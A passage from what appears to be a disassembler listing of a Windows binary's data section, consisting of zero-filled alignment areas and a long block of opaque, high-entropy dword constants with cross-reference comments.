					; sub_403DF3+11Fo ...
		align 4
		dd 1Fh dup(0)
dword_41EF18	dd 40h dup(0)		; DATA XREF: sub_404279+36o
					; sub_4055E5+746o ...
byte_41F018	db 0			; DATA XREF: sub_40A9CF+1F37o
					; sub_40D043:loc_40D0D6r ...
		align 4
		dd 3F9h	dup(0)
dword_420000	dd 8000005Eh, 0A22A0000h, 8E1788D9h, 0B7205033h, 0C6C600B0h
					; DATA XREF: .data:off_42B820o
		dd 0DE1ED3EBh, 0CE23FE94h, 0D00C51E6h, 0AA432A1Dh, 89D75F68h
		dd 49270075h, 82FBEE9Ch, 0AE9F519Fh, 709B63EBh,	9896A22h
		dd 81DBAE69h, 45A90583h, 0AB19F7CCh, 5A4CDCB0h,	0A078608Ch
		dd 0EEBF414Dh, 2259124Ah, 0DD4010BFh, 0C4832EFEh, 204BA412h
		dd 0ABC4BE82h, 6FF367A7h, 58F7BD46h, 0EAC34780h, 1A9F7B1Ch
		dd 98233310h, 1F2AB543h, 5C571548h, 0B21A5826h,	0A5BAB47Fh
		dd 27BB39DAh, 0ECF24A57h, 0E25039Ch, 0E1748793h, 130FF0DAh
		dd 0B6C0EC5Fh, 3648C44Bh, 0B03B131h, 36CABF72h,	41118708h
		dd 78194B4h, 9F078E26h,	7421D61Fh, 0EFCAE897h, 93372B69h
		dd 6E84C654h, 0D52A467Bh, 0DEF7AE16h, 0F1B02A3Bh, 3FA5C733h
		dd 0E4335A05h, 61CFED8Ch, 3AF08032h, 0BFC013D0h, 0C002794Eh
		dd 0B51B49A6h, 0FCA0D37Bh, 688E3628h, 7C5B1F8Bh, 0D36AA4A5h
		dd 0BE6F4653h, 26D8A239h, 0A2724982h, 18E47301h, 0BE872DF2h
		dd 9A08F625h, 0BFBE3763h, 0A806DD3h, 0DA8C2FDAh, 519CFD43h
		dd 0DA61293Bh, 0C6932656h, 4E144F16h, 641C6347h, 23A558B1h
		dd 0FC8323B3h, 7C1B4F87h, 339B31DAh, 0CFC01AC3h, 0E0687ADh
		dd 0AAABDECAh, 0AB875B73h, 46BE813Fh, 0FB863DBEh, 0FB973748h
		dd 909D3BE1h, 7F752440h, 893C48D5h, 2DAA3B1Bh, 0B45A8F69h
		dd 32834962h, 0CC486B4Fh, 20AA8198h, 0DD686FB7h, 0FB0501CFh
		dd 2DEC096h, 0C5387C3h,	95183F6Ah, 2FBE7847h, 0FC5176B0h
		dd 711F2509h, 5D9D680h,	8CCAE856h, 6A009D12h, 3FE586A0h
		dd 64EBDEAAh, 81C6B8A3h, 0C409E8F7h, 2BB40C18h,	8ED3A3A0h
		dd 507A4D34h, 0D98BF09Ch, 0AA8E304Dh, 0EC1D8AB1h, 82928005h
		dd 66E96AF5h, 8E6F6409h, 7FF88DBBh, 0CC516FA9h,	170FC435h
		dd 49BA9B65h, 81D8D8C4h, 9A552D3h, 26F83E0h, 5D8EB173h
		dd 5A6BF6D7h, 0ADA40425h, 0F6CA21ADh, 0F7B0EAE2h, 0F442F705h
		dd 1F7632Ah, 0AA29180Ah, 0E4921AEh, 6B11624Dh, 60C2E463h
		dd 4768792Ah, 7EC6EC4Ch, 4FA077ADh, 1CF67EFEh, 5C7C025h
		dd 97D9BA51h, 1610DEBAh, 1AAAAABFh, 84967737h, 84EA7B40h
		dd 57810DF5h, 105F02D9h, 130D9ADCh, 9744696h, 0D88A2602h
		dd 0F5EC239Ah, 0FA0B0818h, 59361A76h, 0BC8EB0EAh, 0F3640EE5h
		dd 121E0755h, 4CA7928Dh, 102B34B6h, 97D25A8Dh, 49BD9716h
		dd 0EB96BDEBh, 0C98B5C67h, 69F57D91h, 32D8604Fh, 88CF8536h
		dd 0E506FB1Eh, 9F611006h, 782E7857h, 717F2E7Dh,	0FE8F7C70h
		dd 7BD041AFh, 0AE9C8CAFh, 8E6392A4h, 731DB452h,	734AEE8h
		dd 280DE5E0h, 351B1FC1h, 1F9CCC69h, 9D027FDBh, 5A46D071h
		dd 9B734807h, 0CF05D53Eh, 0A1712344h, 359B21E0h, 6C6F4F3Fh
		dd 67017A71h, 0CF6C02A9h, 30ED325Dh, 684452BCh,	0FF4872D4h
		dd 5A4DCF93h, 50D2D042h, 0FC0D490Ch, 1572622Eh,	0D8D8F054h
		dd 79A93730h, 0A1CD11D6h, 0F90CBB93h, 9C95AB9Ah, 0AF5C40E1h
		dd 244A0882h, 7463DEFDh, 6A00CD5h, 7574A4F0h, 296C8E3Ch
		dd 8A6D3D70h, 0B25EB102h, 4C8737EEh, 95300B44h,	77C2D356h
		dd 34847BA1h, 543CF579h, 0F7AB7C1Bh, 56D6660Eh,	5FF0172h
		dd 0ECCD6F45h, 26E624Fh, 0A66602Bh, 0BE50A438h,	2D9DFFD1h
		dd 0DFB66E19h, 36A23113h, 55DDC08h, 6F9D51DDh, 0BCE7F1Ah
		dd 0C96EA939h, 0EFF97A1h, 2A7723F0h, 15C802D0h,	0CA3AD8DBh
		dd 0DDD5D75Bh, 0CC03EE3Bh, 4C41F39Dh, 0C02A1B98h, 67445BAh
		dd 0D5D3FBFBh, 9B0FFF87h, 954D0BBCh, 0A41990DEh, 9166EFB1h
		dd 3542AA28h, 4F1619D4h, 6385B152h, 32375F00h, 0B3DC9125h
		dd 68C4AA1Ch, 0AE5C6539h, 1E81F4EBh, 0F0E5193Ch, 5C0380ABh
		dd 0DD99E277h, 955A4B76h, 6D1CE348h, 808EBEDDh,	0C1D077A5h
		dd 17E3F286h, 496319CAh, 0B1F21569h, 0E868B72Fh, 0FE7A24D5h
		dd 6DE096FCh, 829F1DC8h, 0BAC3EDF4h, 35699DFBh,	0CE94667Dh
		dd 14F07B36h, 26C9EA2Dh, 0EA89AC8Eh, 43B31887h,	0BFC07560h
		dd 17ECE36h, 286B394Ah,	0D6F2581Fh, 0D8AF89DDh,	0A1BC26F8h
		dd 0CAFB316h, 0E7FB4F11h, 0C58E76B0h, 620E995Ch, 0AC7527A6h
		dd 0E5B3E423h, 806D15DEh, 0F2F1751Ch, 86A387EEh, 63DD4A2Ah
		dd 0C87C41Bh, 476D3B7Ah, 0B2D7F264h, 0DD4F8B98h, 37160677h
		dd 0BFCA4B0Ch, 0F13DCDB4h, 98883886h, 0B2CFA30Ah, 10447929h
		dd 27DA962Bh, 73D2B076h, 0A2FD90BCh, 1A6B8CD0h,	0CD94EEE8h
		dd 9544BE9h, 877E30B9h,	37C7A9AEh, 5829D646h, 700C7E1Ch
		dd 37709301h, 62C377E9h, 0CA710984h, 5C790EF6h,	4A019D23h
		dd 2AEC08F1h, 789434B5h, 36ED678Bh, 7F53EB04h, 1240AAE1h
		dd 343C580Ch, 69921F22h, 17EED2DFh, 830B8765h, 0C7A67ACCh
		dd 0A0E8E98Dh, 0C9C276A1h, 0E482C845h, 0A461BA49h, 2F681668h
		dd 0D501E468h, 0E1692C2h, 0DAF8C5CBh, 0C0B05E33h, 7B2B385Eh
		dd 610E7F19h, 0FD470A03h, 1773BF33h, 0B4ED73FAh, 0C8A2B459h
		dd 0A6D9B116h, 3FF3941h, 6DA7F88Dh, 34DE6424h, 9F1D5528h
		dd 0D5E63FCh, 3B4A1ACFh, 95F95B0h, 6AB63315h, 10ABD511h
		dd 3B8FF2D2h, 6C4D63A6h, 0B6A78887h, 682C7339h,	7A25C870h
		dd 0D148ECB4h, 0CBBD577Eh, 93D6FDEDh, 3FF13A6Dh, 0B613F56Ch
		dd 534F3B39h, 0C8487417h, 53F187CCh, 9C5E47DDh,	82EFCBD6h
		dd 69BEDDDCh, 1E176C00h, 0F129E67h, 198B845h, 52B18775h
		dd 4C8EB6FAh, 0C539FE99h, 254126DAh, 3239B47Ah,	8C021F76h
		dd 777F02C6h, 6F647B2Eh, 0E7BD2EDCh, 0DA89F155h, 0CCCB518Ah
		dd 1B86A89Ch, 1D52A037h, 219F40E5h, 941F3641h, 0B05F7E7Dh
		dd 0E053E2BBh, 50B5DE4Dh, 0B390CDC4h, 8A9D8161h, 9FD604CDh
		dd 80ECFB2Ah, 43501D89h, 6E10E39Eh, 0D867ACB6h,	0D29E2D4h
		dd 4D6890D0h, 0CE4D7648h, 6B609067h, 0C504EEC8h, 0E4099BE1h
		dd 1B4BD6ACh, 242394A0h, 0F701BE3Ch, 41C52065h,	73E8175Bh
		dd 0BAB71A25h, 0C96E5C41h, 0C8994h, 93541C40h, 8335DC9Bh
		dd 0D9DC29B4h, 0A047D627h, 21DFC882h, 5D9283DDh, 88511F75h
		dd 6E4954CEh, 0F6BCAFAEh, 4F1F1123h, 77A5C7A6h,	703C4EF3h
		dd 0B1346153h, 5BA2863Eh, 158A4218h, 3DEE625Dh,	71636558h
		dd 8BB6CE8Dh, 0EBCDD8DBh, 96F024D8h, 71BA4B51h,	0E9BEF5C0h
		dd 0A2DEF737h, 8DFA7508h, 0DB6DA547h, 0DB0CE61Ch, 20568A7Ah
		dd 27227A54h, 0A5BF6403h, 0A8C9703Ch, 0DAB6CBE0h, 2C91052Ah
		dd 0B7D6D5D1h, 0C3CD2879h, 0F0559D8Ch, 0E94C9E68h, 9CF42972h
		dd 0E7453D00h, 2EEBC3A4h, 0ACF6A924h, 55B37E6Fh, 66A8CEF2h
		dd 4BADE6E7h, 4EFDDFBAh, 11CB7DBEh, 0CE138241h,	4CEA8063h
		dd 94BE1894h, 8ED5A69Fh, 9D16CF88h, 0F0F4B864h,	0C4356445h
		dd 53A1CC97h, 6342A96Bh, 0DA99B89Fh, 0F8385A11h, 0D6804266h
		dd 0E2A5FF1Eh, 8FC3CD4Ch, 0B0B97800h, 3B59FD51h, 2E9FB104h
		dd 3A08E541h, 55E2B331h, 83835EF6h, 84198F67h, 51B2D05Ch
		dd 146ED767h, 0EA0CF2ABh, 0A58604Ah, 3B1E02C2h,	29765081h
		dd 0C7112B5Eh, 0B613C43Ah, 0AFD6560Bh, 32BF82C9h, 0F374E02Eh
		dd 13292ED5h, 11B840AEh, 0B6703DE8h, 7B4B836Bh,	3E09B583h
		dd 3F6C4F49h, 3475C108h, 0F3F48DE7h, 4EAF69B2h,	0F1EEB2B2h
		dd 0EB6EB722h, 3795FBB8h, 41C2FD36h, 5597ADBh, 0C4122F99h
		dd 0B03B9B72h, 0DF7A6877h, 45BD2291h, 0D982EEAh, 0A9FCDAADh
		dd 97CBC28Eh, 0E51ACED7h, 0AAD3EACDh, 0F1A0E58Ch, 0DE0FC0D0h
		dd 54CF0CEBh, 2BF78FDh
		dd 0E9E5F736h, 89958E96h, 7B1967D8h, 9D70E2FBh,	0DEEA277Eh
		dd 8696E146h, 0B3CC5B00h, 0E46F56EEh, 633492FDh, 0B75A382Ah
		dd 0FE52B8Dh, 3BA50504h, 17F8C19Bh, 80AF1EC6h, 0FDC14AC6h
		dd 3E5898C8h, 0C50F0640h, 17F41EF3h, 824D41F1h,	1470C6CBh
		dd 0EF0C3A99h, 6AD8A75Fh, 0BA6B5448h, 517B0276h, 5A98CDC6h
		dd 74FB0F86h, 0C2AF5B4h, 0B6EF0E0Fh, 0B67B2BEAh, 0A081A5AEh
		dd 0A7D51D7Ah, 0AC67FB8Ah, 8119143Fh, 0E8722132h, 0CCBD0002h
		dd 3832921Ah, 866C3BBBh, 8630AB4Eh, 0DD08CC66h,	0F5153570h
		dd 5A771B99h, 58926AECh, 0F8E842C6h, 21C2FA20h,	8E16A4BBh
		dd 0CD421B7h, 0A5C7A3BDh, 78DD7288h, 1379165Bh,	0C4241AEh
		dd 0D2F8A0CFh, 0A0D8CEBDh, 9EF7FD7Ch, 0C13CCCB3h, 643A5DC0h
		dd 5CDBCF64h, 3CDC2F9Ch, 2A72619Dh, 0B91A5AF6h,	0B7123E47h
		dd 0E0EC67B9h, 30AA8842h, 134F0F87h, 0F2EB7C27h, 420C63C4h
		dd 801F8AF3h, 38C5CDD3h, 30BA57B8h, 0F84753Dh, 952D0EE8h
		dd 0A057D322h, 2559D188h, 0AA5F448Bh, 96B2000Eh, 66B8B38h
		dd 91277799h, 68D8B2BCh, 99AC0C74h, 0FA204C63h,	75DE8A38h
		dd 0D02DE1E8h, 9748D6B4h, 42BE03Bh, 39BC1375h, 0E95FA303h
		dd 969CC8Ch, 88814CA0h,	9107C81Bh, 0B75BDA5Ah, 9FE5AE4Dh
		dd 0D9EA1BDDh, 24666D27h, 0A663942Dh, 28406CB1h, 7464F99Ah
		dd 0B7EB46EBh, 4CDE1A05h, 0A4F9CC5Bh, 3056FC7h,	0AEBE4FE9h
		dd 34E41775h, 55B03571h, 0CCFDADB8h, 0E2AD4C03h, 0BE3B9070h
		dd 0B307A3B4h, 1B0C16B3h, 4685AFA5h, 9F79C4Dh, 228A706Dh
		dd 6063AE22h, 7D5E71C2h, 0A2B49C6Ch, 49267AD6h,	35E08D37h
		dd 18199E38h, 0EC6214D0h, 75616FCDh, 317E1FCAh,	89B6340Dh
		dd 6C35DB4Bh, 3CE273F2h, 539D95F1h, 1A75F54Fh, 8E813ACh
		dd 0D0585EC2h, 6B98067Dh, 7576087Bh, 9E5FA413h,	48B46F8Fh
		dd 0F08B487Dh, 0B7FB1824h, 0F9427415h, 1B057C79h, 0E317BD02h
		dd 3A9B712h, 7C19EA3Fh,	398090DEh, 399942C6h, 0CA331AC9h
		dd 495623EDh, 0AB577402h, 0BBC159F0h, 471FD250h, 5C9699E4h
		dd 845A0EB5h, 0DA6D17E2h, 3A616259h, 59080627h,	0F766E21Dh
		dd 0F162BC12h, 0C50CAC6Ah, 0CA60DA8Ah, 196253E3h, 0C38F0073h
		dd 0BED9A995h, 3F0CD0F1h, 0DFAE9589h, 6ED80B74h, 0CBBE7EE7h
		dd 1446FD52h, 432C9200h, 3570E64h, 31E8C205h, 176F162Bh
		dd 2C4B1F6Ah, 2A3B39CEh, 736868ACh, 6FF2ABDDh, 0FF8406B5h
		dd 5BB1EF97h, 18500009h, 0CCCD226Bh, 0FD608945h, 5A33D4A2h
		dd 0D2875ABAh, 94803D74h, 0A29D1313h, 908E15B2h, 43EEDFAh
		dd 0CB5AD058h, 213EB875h, 5F32BE19h, 5E4CF915h,	0AD0D715h
		dd 2DA66053h, 46D85DB4h, 9A36777Ch, 9DAE7CDBh, 0FB7F1239h
		dd 135F1B2Fh, 77B18984h, 9395D8F0h, 0BF8909D6h,	0E0D98AE6h
		dd 0CE6CF4F7h, 61040EDBh, 8224C054h, 6B5F9948h,	1CC97AEh
		dd 5FA6CBA1h, 80C704C4h, 22D8DD69h, 6AA1CC7Eh, 0C299F1FDh
		dd 0E3E17569h, 1D840066h, 5FF89EB6h, 0A9DB1086h, 37E8CE06h
		dd 506F635Ah, 1D526A8Fh, 1A2F4672h, 0F6ED3C41h,	0BB48C8FBh
		dd 85993F7Fh, 0A62DAD2Fh, 51EF0596h, 2BB712B7h,	1F396222h
		dd 9271DC61h, 29AB2833h, 0F3088097h, 3C30AB0Dh,	0A2C06857h
		dd 3328F1CCh, 86B5CF1Dh, 0CFA2FB8Ah, 215AD4A9h,	683FCF3Bh
		dd 0DD431BB0h, 8F554BC5h, 30D5FD5Eh, 0A01DF8DCh, 0D908E9F1h
		dd 0B73DEEA4h, 0EC0D2BF3h, 54689E3Bh, 0FDD5E76Fh, 0BB665B98h
		dd 16C26CDh, 291A4641h,	26B17846h, 0A5993B1Ch, 0D6A78305h
		dd 747804E0h, 0B20FB1A0h, 0B41F21B4h, 884A1308h, 93992502h
		dd 8C092D29h, 0C9B950EDh, 34D9D316h, 486B414Bh,	92C37194h
		dd 97EEF548h, 0EEBFC3A6h, 2384EE78h, 3AE79BE4h,	0EF373ECFh
		dd 3BD2C33Bh, 876C36EDh, 0A5A11114h, 0D03814DBh, 96B96CC7h
		dd 5B61F7F5h, 0F467F757h, 40A8D750h, 0BB18A23Eh, 6F33E541h
		dd 0E3D494D3h, 0A857BC84h, 2CC5BDFAh, 0B80BEEBCh, 0B390E6E2h
		dd 0D5BA3F59h, 84B6B675h, 2FEC5197h, 2BC56FCAh,	3194F297h
		dd 0A192A655h, 0F3785DCAh, 1AB80A31h, 34FD39B4h, 657958DAh
		dd 425E8B32h, 4E15E0F1h, 2FC79A5Dh, 0A50C1B16h,	8BE971E0h
		dd 0BAA935A4h, 0C1FA7311h, 0AC314AC0h, 0CB9D0DBh, 9936406Ah
		dd 0BA988EFAh, 0FF3E7697h, 0FB1F41A4h, 516230B6h, 5BC22C50h
		dd 861BE5A2h, 0F858C8A3h, 74C5D7B2h, 0DC598E26h, 46BAD8DCh
		dd 0DC940DFCh, 0ADFFA41Fh, 0B57D3014h, 43C14D3Fh, 0C8E387ECh
		dd 8DEE3B7Dh, 38AEF013h, 421EB248h, 58F0300Bh, 15F1D6EBh
		dd 3C2F92D8h, 703262ABh, 973168F9h, 8A2C3DAFh, 0C3DD26C6h
		dd 491A943Ah, 0E579E078h, 0B4295DE3h, 51C04E28h, 801A103h
		dd 0C00961D0h, 407CDBBBh, 0C36C7BF1h, 4EBDA6E9h, 0B2B09AD7h
		dd 1AFF2F3h, 0E7332228h, 0F03FD72Ch, 13E4B876h,	0F5F5496Bh
		dd 846F023Eh, 0C175AD4h, 35E66014h, 120CF55Fh, 0C7468C74h
		dd 6B53ACECh, 7558B1F6h, 0B3921EDCh, 0DAFF526Ch, 0D242D609h
		dd 0DA8A638Ch, 8E04492Eh, 0E30EEBD4h, 0A5995939h, 0D44B0115h
		dd 0F362523Bh, 2B8CDA1Ch, 0C9BD0A7Bh, 46255C1Eh, 0E5410532h
		dd 5B028BACh, 0C344FEE4h, 2D292804h, 14015D18h,	0A79BE3A4h
		dd 0FBFCCC4Bh, 0B2FB62BDh, 193371D1h, 0C2F1E454h, 0D4CD713h
		dd 0EB3FCFF7h, 0DDA577B9h, 0B187CFDBh, 0FA8698A5h, 6C3B31EDh
		dd 40FB6905h, 0D13F6A38h, 0C59D152Ch, 9CA5E579h, 0CCC15069h
		dd 7DDD85F3h, 10EC36F1h, 6BA7A233h, 31D70BF7h, 4210043Ah
		dd 0BE1680C2h, 7354128h, 90184200h, 0D2DDB8A4h,	7C5E6E13h
		dd 0EDC2A7Dh, 7377181Fh, 2F1361A0h, 30158D66h, 0BDA83B22h
		dd 0A0B1A47Fh, 1E369784h, 0CCBB7667h, 868D3367h, 4A57755Bh
		dd 0FC385925h, 0DA8D120Bh, 0FC99245h, 0AAC3FBCDh, 67F60E78h
		dd 8DB96B39h, 0E800C581h, 2AEBB479h, 0BC05E07h,	0DE741E87h
		dd 5DD0B9A1h, 0B5E2A715h, 0D5962E9Dh, 0CA8916DFh, 810508C6h
		dd 98ED130Dh, 6123A21Dh, 0DF3392BCh, 2B5AC30Bh,	7D00C8A0h
		dd 277C9ABCh, 0FDAEABD4h, 1B00283Fh, 2AD51668h,	49FA01C0h
		dd 85CA1F91h, 3ED4EC5Fh, 0ADD66049h, 232F23D6h,	2DCDEB90h
		dd 3DD633DBh, 978A3DC6h, 0B7E3B424h, 9A5BF757h,	5346390Eh
		dd 4118465Bh, 0FE1C6F5Ch, 5FA09F1Ch, 2D1B6B2Fh,	52313288h
		dd 7819CEB3h, 0F58B2EA1h, 98082655h, 0B3D20BDAh, 34251171h
		dd 5448FA23h, 21EDEB5Ah, 0F2292BE0h, 54899B45h,	0ACC74D63h
		dd 26981658h, 5F41A27Ch, 0AD7487E5h, 0F832F0A1h, 2C9CBD92h
		dd 585592CBh, 32C7B108h, 846B077Fh, 721EFAFh, 0BC79E2AEh
		dd 342B804Bh, 84FD859Fh, 6BC0684Fh, 4EF45741h, 0A07E571Dh
		dd 0CB0BA217h, 0E06E4D86h, 7E279EC6h, 7E7FB70Ch, 0BE08AFCCh
		dd 545271B4h, 0BF79EBC9h, 0D849C26Ch, 1FD99AA9h, 0DD762F7Fh
		dd 48A3B692h, 5D241B88h, 8A66F428h, 234E4B92h, 3A60942h
		dd 0DCFEEB78h, 0F1464FD6h, 7248A078h, 0F50B5E63h, 69A219F4h
		dd 6FC9E14Eh, 22CB75B9h, 6960C2Bh, 466E7C95h, 0FA6B221Fh
		dd 9798405Ch, 3B8ACC55h, 5CA2F828h, 0D4EAFD1h, 9112A91Ch
		dd 0C5C38251h, 31A99A4h, 0AC9A5660h, 0ADB7C9E0h, 10D8044Dh
		dd 9D065517h, 0F8D18175h, 7D036490h, 62A9AF52h,	0FE8401DAh
		dd 0F022B1BFh, 0C90CA53Ch, 0DC2802EDh, 4ED6BD91h, 0F81EBABh
		dd 92AC9CD9h, 0A114DC95h, 34A9F6A9h, 0C3DCCF8Dh, 5BA91165h
		dd 75E5D84Dh, 2B9E2E78h
		dd 0CBECC7B1h, 27BA0F74h, 0F19DD5F7h, 8ED6F9A9h, 0F49ED941h
		dd 24D0AA9Ch, 4E0438E6h, 2318D253h, 0D87C74C5h,	0E9FFE782h
		dd 16C8A671h, 64DB13EDh, 79DAA21Bh, 254CC214h, 14B55B27h
		dd 37BBCF6Ch, 991B3EF2h, 0BB31CF69h, 412B5F9Fh,	76BFD22h
		dd 0B5B3FC4Fh, 4E6AB21Bh, 82F7576Ah, 0B7D86539h, 3995AB0Ch
		dd 8D5D7CAFh, 689319C7h, 0EB77ADCCh, 1AEE68EEh,	1795ED81h
		dd 91D588FAh, 0C1E327C5h, 99AD9AAh, 2BF42CFDh, 0DDDA61F4h
		dd 9AD3D467h, 659E8C38h, 7045262Dh, 52A0F885h, 0AC7ABAA6h
		dd 0D1D2A4AFh, 77DB39E1h, 0A2EBB440h, 5C33493Eh, 8A71997h
		dd 24979881h, 0CE9D6D1Eh, 0C7875B65h, 0EAEB146Eh, 67E8CA80h
		dd 69AD9439h, 992642A3h, 0B6CBC591h, 20530C90h,	15DB2E49h
		dd 4711451h, 0DB3D0D9h,	86CACF83h, 0AC5DD368h, 114810DEh
		dd 0BC91A62h, 0D377394Fh, 0AB6D4163h, 15F033A4h, 95254496h
		dd 0DEA38951h, 599AC6DAh, 0F120B4CEh, 7EA94D8Eh, 511A6F0Bh
		dd 9C549EFDh, 6A0B1795h, 0D1A03816h, 0E92AE0A3h, 0DEF1BCFh
		dd 64B93E3h, 20A737F8h,	9E33216Bh, 922BC2A4h, 80ECD58Bh
		dd 8BC4A64h, 2D71F5A0h,	93722BEEh, 1B3C8D59h, 59A3EC4Ch
		dd 0E4C6E682h, 70B29C9Bh, 98B17683h, 0B64F0E32h, 6E237534h
		dd 88225484h, 565E451h,	137B3D4Eh, 1A2413C5h, 0CD9A04CDh
		dd 2363A00Dh, 37196234h, 5316518Ah, 6FCF7344h, 80819EDAh
		dd 538D9B5Fh, 3AD94397h, 0FB25109Bh, 2C455500h,	0A48ED202h
		dd 0B8590953h, 0C98CBDA9h, 0F906325h, 3FB36CF8h, 1F41E7B4h
		dd 37D494A0h, 73E84378h, 0E66A80F3h, 0BDF005F5h, 2AB4DCC3h
		dd 81F0E401h, 1D9E758h,	0E61DB755h, 37EE865Ch, 9C012527h
		dd 0E6303961h, 0D30A9626h, 5D70FD57h, 4177F6C4h, 288546C2h
		dd 0E8E8D5EBh, 0DB41D9E7h, 69245AD2h, 89E39040h, 98E26250h
		dd 32462D64h, 0AA749A0Ch, 0C744404Ah, 185AFAC8h, 64BB47FDh
		dd 8FF710D8h, 9297A014h, 0B51574E3h, 24C380F3h,	657D9CE1h
		dd 41AE7D65h, 78A11801h, 4FC550B5h, 6D763AE7h, 0C039866Fh
		dd 0AF1AA15Eh, 45DCE9ECh, 0D99E9AC2h, 0A7E5C167h, 2E80E958h
		dd 9B346EA5h, 78CAB7F6h, 45822048h, 1B67E642h, 2709B567h
		dd 38EEBD34h, 2C20D6A1h, 0A89C5CA1h, 8CDD41F3h,	7F434847h
		dd 3A53B926h, 0BF2727FAh, 26E1058Eh, 0B0EDCEA3h, 0B9D394A1h
		dd 0CD4AFF8Fh, 74DEB5DBh, 0CFA7617Ch, 66ECA1F0h, 72EABA5Bh
		dd 0F5143C64h, 514902E8h, 3D93E529h, 90CF7E31h,	943C0287h
		dd 8D1485FEh, 25E9E1h, 0A9BC7D2Dh, 0E55147D8h, 4C2432E7h
		dd 0DDF6A6EBh, 0AA5F30C9h, 13258F1h, 75722DECh,	4368A2F5h
		dd 560CB75Bh, 1CF4571Ch, 9A330951h, 0A161E38h, 0FBF1CE17h
		dd 604746DFh, 44A1FA1Dh, 0C3305304h, 0A91E504h,	0FD7B7EA7h
		dd 9BF092CAh, 39FA75BEh, 9FC7330Dh, 0E2014361h,	0B8E79EF1h
		dd 3A5FC53Bh, 0DCBC8654h, 0E5C4E819h, 0B5B7070Ch, 1A08A32Dh
		dd 1D6EA41Bh, 0BC4CE645h, 2CBBFEC9h, 0A65D2BC3h, 1B55D239h
		dd 0F38842B2h, 34D45DD7h, 23092F08h, 8053CE71h,	0A523D485h
		dd 7B8AEA5h, 0B0749EF8h, 3E4DA4B1h, 5FE12D52h, 8CE68914h
		dd 125E0029h, 5CB12222h, 460B72B1h, 0E0C2C43Ah,	6B231F87h
		dd 6EAA3324h, 0E38D2048h, 587E27A9h, 0F860A046h, 0D0C31A1Ah
		dd 0C4E18556h, 0EAED5786h, 75C65761h, 0D818FDDDh, 0D211D3CAh
		dd 0D0617987h, 2082F1F3h, 4060BB58h, 240CC42Ch,	785DFFF2h
		dd 0C87B4DF4h, 0F8B93756h, 4D429FCDh, 59F6A20Eh, 1A0F8160h
		dd 0F7C525B7h, 7016A208h, 0FFE6169Fh, 0F8FE4263h, 9D121227h
		dd 65D72E93h, 0FE9F45E0h, 8C11E1F2h, 1DD15541h,	6F697AA2h
		dd 6C4798E2h, 5456A7D4h, 0B69AB08Dh, 625D726Ch,	7A5366BCh
		dd 3402EB03h, 3787F35Dh, 0F72C4FD2h, 39875376h,	5044DE7h
		dd 6FA0172Fh, 0DBBC5B35h, 71B98594h, 0D64429FBh, 0B267D9EEh
		dd 4C140BB8h, 247E46BBh, 2CF58F5Bh, 27152569h, 7A7C704Bh
		dd 0E460FB10h, 0AF0A76CDh, 0A712F362h, 85570F4h, 80A5EC38h
		dd 0C68498A8h, 755F0876h, 7B365F77h, 0EC20044Dh, 4D29BBADh
		dd 0B827411Dh, 5455C44Fh, 0D3854D32h, 6C57885Bh, 0A41DE749h
		dd 0DDD7F565h, 0A0862A23h, 0C0E427FAh, 7B76D22Ah, 7F26D8D3h
		dd 268BC69Eh, 88A5835h,	0FBB49186h, 37359F09h, 0E32DF34Ch
		dd 7CE7C8A4h, 91427BFCh, 0D79E9311h, 89867B7Eh,	0E62B2F60h
		dd 55CB3621h, 0FB81C587h, 1F726FAAh, 0F66DF3DDh, 33ED4135h
		dd 0AE267EF9h, 0B20A96E0h, 1DE20B23h, 6E4B7A7Bh, 449CFA55h
		dd 39C95896h, 0A1578C19h, 2B698F78h, 0D0A2A5D4h, 2907F5CCh
		dd 79B79142h, 91899EA8h, 6C261FC1h, 0BD2BE897h,	9723BC31h
		dd 0DD956F72h, 8C67F770h, 56293293h, 5D754A7h, 0F79197B1h
		dd 1B1CAAA6h, 0FEA01E07h, 0BD84A6EFh, 4E07678Ch, 0BCAE866h
		dd 219AC479h, 0EAC5BCBFh, 53455467h, 9D243935h,	16628505h
		dd 6448AFA9h, 0E24F9990h, 0D5147178h, 0D99A6E35h, 2C8B1CE4h
		dd 0E999268h, 8E631708h, 7079DD15h, 30788C33h, 1BF24818h
		dd 97325910h, 0FBB380Fh, 0A5B0E296h, 0EE40A253h, 760C6ACEh
		dd 1E733A10h, 0A4D3FA86h, 51C13D9Fh, 4E870E38h,	53B8C360h
		dd 29EFB0C3h, 147634FCh, 0FAC26D19h, 585D6993h,	9DAA8C7Dh
		dd 0A40041B9h, 94932733h, 0F0792E7h, 70183EFCh,	0E2C0D7C4h
		dd 1F6437FDh, 2E06FEF9h, 0E90F9A6Ah, 88EBC878h,	0CAF49382h
		dd 32FC88F7h, 1167B06Eh, 0A8EDC9D5h, 6EBE2D79h,	0EB79D967h
		dd 0D614B92h, 0AAE66E4Ch, 0B02CBACEh, 7B6CB55Eh, 5AC5B2F9h
		dd 1D824CCBh, 4513716Ah, 0C8235A52h, 49E57119h,	348F4868h
		dd 0EF2675B8h, 251B3BAh, 9AF3A9D5h, 4DFDDCABh, 0DB1BDD85h
		dd 781A26A5h, 8F6B037Ah, 0CC6C571Ch, 5B0421DEh,	52177140h
		dd 69F7D1BBh, 2769AC44h, 0F5DD53F1h, 54C08587h,	0E639827Dh
		dd 0F84932E5h, 0A5AF1A53h, 1C6645E2h, 5E2ED2B6h, 9E3CB93Fh
		dd 0E50B5131h, 0C4BB46A2h, 0C18F3F41h, 27642F90h, 828EAEC6h
		dd 6E2F665Eh, 0F3456BD4h, 93D23F20h, 0B17C1538h, 9D1BCFE3h
		dd 9047A290h, 719ED8EAh, 0EEBF542Ah, 523587BFh,	0DA3D5416h
		dd 0D54E9ECCh, 3EFF06Ch, 91C46789h, 3199A368h, 42B6BBCEh
		dd 7772B2E1h, 7DC1C425h, 30ADA2F1h, 0FF4F61BDh,	0C7E2427h
		dd 0CE99D4F4h, 140FB45Fh, 0C9F0DC96h, 0D78A328Ch, 0BADCC453h
		dd 28ED00F5h, 0F3E62CEFh, 27ED7235h, 0F17D8F16h, 0DA98968Dh
		dd 1B0698C3h, 0F6ED623Fh, 0F88DC34Fh, 0C4F74EDDh, 6210655Eh
		dd 0D72A0295h, 0BCE175D6h, 0BEB50EDBh, 0CD6871F6h, 5F715D87h
		dd 803BC52h, 98A3B85Eh,	85E4B3AFh, 8B7E5930h, 0D1C53E62h
		dd 0E90B355Bh, 96557177h, 0CD1D9AB1h, 9CA836DBh, 300C2607h
		dd 0D8566E0Fh, 0ECAD5502h, 0F5DF78h, 56B54370h,	7CE8BB6Eh
		dd 7821CE2Ch, 1C26DE5Dh, 12BADA29h, 6C1C73E0h, 50A4C4E6h
